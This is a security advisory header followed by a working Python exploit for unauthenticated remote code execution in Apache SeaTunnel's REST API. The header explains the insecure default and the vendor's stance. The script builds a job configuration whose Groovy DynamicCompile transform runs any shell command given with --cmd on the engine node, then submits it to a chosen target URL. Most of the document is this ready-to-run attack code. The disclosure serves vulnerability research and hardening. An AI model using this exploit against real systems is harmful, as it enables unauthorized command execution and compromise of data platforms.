Apache SeaTunnel 3.0.0 Remote Code Execution

<html><body><p>#!/usr/bin/env python
#
#
# Apache SeaTunnel 3.0.0 Remote Code Execution
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://seatunnel.apache.org
# Affected version: 3.0.0 and 2.3.13
#
# Summary: SeaTunnel is a very easy-to-use, ultra-high-performance, distributed
# data integration platform that supports real-time synchronization of massive data.
# It can synchronize tens of billions of data stably and efficiently every day,
# and has been used in production by nearly 100 companies.
#
# Desc: Apache SeaTunnel is affected by an unauthenticated remote code execution
# condition in its engine REST API. The REST API v2 ships with authentication disabled
# by default (enable-basic-auth defaults to false), so no authentication filter is
# installed, and the job-submission endpoint POST /submit-job accepts a job configuration
# that may contain a DynamicCompile transform. That transform compiles the job-supplied
# source_code through an unsandboxed new GroovyClassLoader().parseClass(...) with no
# SecureASTCustomizer and executes it on the engine node when the transform schema
# is resolved. A remote party able to reach the REST port can therefore submit a single
# job whose Groovy (or Java/Scala) source runs arbitrary commands on the SeaTunnel
# engine node without any credentials.
#
# The Apache SeaTunnel project considers this behaviour by design and declines such
# reports. Its security model holds that SeaTunnel is a framework that executes user-supplied
# code unconditionally, that any client able to reach a management interface should be
# treated as a cluster administrator, and that network isolation is the operator's
# responsibility; the project's security FAQ states that it has historically rejected
# numerous remote-code-execution reports on that basis. For that reason no CVE is assigned
# to this issue.
#
# It remains a legitimate insecure-default weakness rather than merely an operator choice:
# the security-relevant control (authentication) is off in the shipped defaults, and the
# identical missing-authentication condition was accepted and fixed as CVE-2025-32896
# on the REST API v1 endpoint one release earlier. The appropriate response is therefore
# hardening of the defaults - shipping with authentication required (or refusing to bind
# the REST API without it, or emitting a prominent startup warning), and sandboxing or
# gating the DynamicCompile transform for remotely submitted jobs - best pursued as a
# public hardening contribution (pull request) rather than a coordinated CVE.
#
# Tested on: Microsoft Windows 10 (x86_64)
#            Eclipse Temurin OpenJDK 21.0.6 (LTS)
#
#
# Vulnerability discovered by Neurogenesia
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6011
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6011
#
#
# 13.08.2026
#


import urllib.request
import urllib.error
import argparse
import sys

DEFAULT_CMD = "id &gt; /tmp/seatunnel_pwned 2&gt;&amp;1; touch /tmp/seatunnel_pwned_marker"

def hocon_body(cmd):
    g = cmd.replace("\\", "\\\\").replace("'", "\\'")
    return (
        'env { job.mode = "BATCH", parallelism = 1 }\n'
        'source {\n'
        '  FakeSource {\n'
        '    plugin_output = "src"\n'
        '    row.num = 1\n'
        '    schema = { fields { name = "string" } }\n'
        '  }\n'
        '}\n'
        'transform {\n'
        '  DynamicCompile {\n'
        '    plugin_input = "src"\n'
        '    plugin_output = "out"\n'
        '    compile_language = "GROOVY"\n'
        '    compile_pattern = "SOURCE_CODE"\n'
        '    source_code = """\n'
        '      import org.apache.seatunnel.api.table.catalog.*\n'
        '      import org.apache.seatunnel.api.table.type.*\n'
        '      import org.apache.seatunnel.api.table.type.SeaTunnelRowAccessor\n'
        '      Column[] getInlineOutputColumns(CatalogTable inputCatalogTable) {\n'
        "        ['/bin/sh','-c','" + g + "'].execute().waitFor()\n"
        '        Column[] columns = new Column[1]\n'
        '        columns[0] = PhysicalColumn.of("pwn", BasicType.STRING_TYPE, 50L, true, "", "")\n'
        '        return columns\n'
        '      }\n'
        '      Object[] getInlineOutputFieldValues(SeaTunnelRowAccessor inputRow) {\n'
        '        Object[] v = new Object[1]; v[0] = "pwned"; return v\n'
        '      }\n'
        '    """\n'
        '  }\n'
        '}\n'
        'sink { Console { plugin_input = "out" } }\n'
    )

def main():
    ap = argparse.ArgumentParser(description="SeaTunnel unauth /submit-job rce trigger")
    ap.add_argument("target", help="base URL of the SeaTunnel REST API, e.g. http://10.2.5.1:8080")
    ap.add_argument("--cmd", default=DEFAULT_CMD, help="OS command to run on the engine node")
    a = ap.parse_args()

    url = a.target.rstrip("/") + "/submit-job?format=hocon&amp;jobName=poc"
    body = hocon_body(a.cmd).encode("utf-8")

    print(f"[*] POST {url}")
    print(f"[*] payload command: {a.cmd}")
    req = urllib.request.Request(url, data=body, method="POST",
                                 headers={"Content-Type": "text/plain"})
    try:
        with urllib.request.urlopen(req, timeout=30) as r:
            print(f"[*] HTTP {r.status}")
            print(r.read().decode("utf-8", "replace"))
    except urllib.error.HTTPError as e:
        print(f"[*] HTTP {e.code}")
        print(e.read().decode("utf-8", "replace"))
    except Exception as e:
        print(f"[!] request failed: {e}")
        sys.exit(2)

if __name__ == "__main__":
    main()
</p></body></html>